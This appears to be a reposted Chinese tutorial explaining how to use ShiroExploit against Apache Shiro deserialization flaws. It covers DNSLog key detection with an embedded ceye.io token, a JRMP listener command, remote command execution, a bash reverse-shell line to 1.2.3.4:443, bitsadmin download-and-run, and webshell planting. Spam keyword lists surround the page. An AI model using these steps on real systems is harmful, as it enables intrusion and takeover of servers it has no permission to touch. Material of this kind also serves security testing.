91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Shiro漏洞檢測工具ShiroExploit怎么使用

發布時間:2021-12-23 17:15:42 來源:億速云 閱讀:1179 作者:iii 欄目:大數據

本篇內容主要講解“Shiro漏洞檢測工具ShiroExploit怎么使用”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Shiro漏洞檢測工具ShiroExploit怎么使用”吧!

ShiroExploit

支持對Shiro550(硬編碼秘鑰)和Shiro721(Padding Oracle)的一鍵化檢測,支持簡單回顯。


使用說明

第一步:按要求輸入要檢測的目標URL和選擇漏洞類型

  • Shiro550 無需提供rememberMe Cookie, Shiro721 需要提供一個有效的rememberMe Cookie
  • Shiro550 無需選擇操作系統類型, Shiro721 需要選擇操作系統類型
  • 可以手工指定特定的 Key 和 Gadget,默認不指定,會遍歷所有的 Key 和 Gadget
  • 復雜Http請求支持直接粘貼數據包

Shiro漏洞檢測工具ShiroExploit怎么使用

第二步: 選擇攻擊方式


Shiro漏洞檢測工具ShiroExploit怎么使用

選擇使用 ceye.io 進行漏洞檢測
  • 可以不進行任何配置,配置文件中已經預置了 CEYE 域名和對應的 Token,當然也可以對其進行修改。
  • 程序會首先使用  URLDNS  篩選出唯一 Key,然后依次調用各個 Gadget 生成 Payload
  • 缺點:程序會使用 API: http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID]  查詢檢測結果,這個 API 有時候會無法正常訪問,導致在這種方式下無法找到 Key 或者有效的 Gadget
選擇 使用 dnslog.cn 進行漏洞檢測
  • 可以不進行任何配置,每次啟動時程序會自動從  dnslog.cn  申請一個 DNS Record。
  • 程序會首先使用  URLDNS  篩選出唯一 Key,然后依次調用各個 Gadget 生成 Payload
  • 缺點:少數時候 dnslog.cn 會間隔較久才顯示 DNS 解析結果導致程序無法找到 Key 或者有效的 Gadget,且 dnslog.cn 只會記錄最近的10條 DNS 解析記錄
選擇 使用 JRMP + dnslog 進行漏洞檢測
  • 需要在 VPS 上通過命令 java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port] 開啟HttpService/JRMPListener,并按照要求填入相應 IP 和端口
  • 如果開啟 HttpService/JRMPListener 時未指定端口號,則  HTTPService  默認監聽  8080  端口, JRMPListener  默認監聽  8088  端口
  • 使用  JRMP  的方式進行漏洞檢測,可以顯著減小 cookie 大小
  • 程序會首先使用  URLDNS  篩選出唯一 Key,然后使用  JRMP  依次為各個 Gadget 生成對應的 JRMPListener
選擇 使用回顯進行漏洞檢測
  • 針對不出網的情況進行漏洞檢測,此時可以檢測的 Gadget 類型會少于使用 DNSLog 方式的 Gadget類型
  • 目前主要是通過將命令執行結果寫入 Web 目錄下然后讀取的方式實現回顯
  • 需要提供一個靜態資源 URL,程序會將此靜態資源所在的目錄當做寫入目錄
  • 注:開始的時候使用  https://blog.csdn.net/fnmsd/article/details/106709736  介紹的方式實現回顯,在本地可以測試成功,但是在實際環境中基本不成功(可能是我的姿勢有問題,歡迎探討),所以目前是通過讀寫文件的方式實現回顯,后期可能會加入其它方式

第三步:檢測漏洞并執行命令

  • 程序在判斷目標應用是否存在漏洞時,窗口上部的輸入框無法進行輸入。當程序檢測出目標應用存在漏洞時,輸入框可以進行輸入并執行命令。
  • 反彈shell(linux)  采用  bash -i >& /dev/tcp/1.2.3.4/443 0>&1  的方式反彈 shell
  • 反彈shell(Windows)  采用  bitsadmin  下載指定 URL 的 exe 文件并執行的方式獲取 shell

Shiro漏洞檢測工具ShiroExploit怎么使用

  • 獲取Webshell  可以在能夠回顯的情況下直接在使用者給出的路徑(目錄需要真實存在)下寫入 webshell, webshell 名稱和后綴名由使用者自行指定,webshell 的內容從 config 目錄下的 shell.jsp 中讀取

Shiro漏洞檢測工具ShiroExploit怎么使用

備注

在使用漏洞檢測主程序或者開啟 HttpService/JRMPListener 時,均需要ysoserial.jar的支持,將ysoserial.jar和ShiroExploit.jar放置在同一目錄即可。

到此,相信大家對“Shiro漏洞檢測工具ShiroExploit怎么使用”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

简阳市| 磐安县| 怀来县| 西平县| 车致| 岳池县| 黄龙县| 三亚市| 弥勒县| 苍南县| 太仓市| 璧山县| 扶绥县| 常山县| 鱼台县| 托克托县| 永仁县| 故城县| 探索| 武汉市| 永清县| 阳谷县| 丹棱县| 鄂州市| 兴化市| 饶河县| 镇平县| 博爱县| 渑池县| 神农架林区| 双峰县| 宜城市| 瑞昌市| 三门峡市| 深水埗区| 定州市| 巴塘县| 临海市| 盐源县| 苍山县| 申扎县|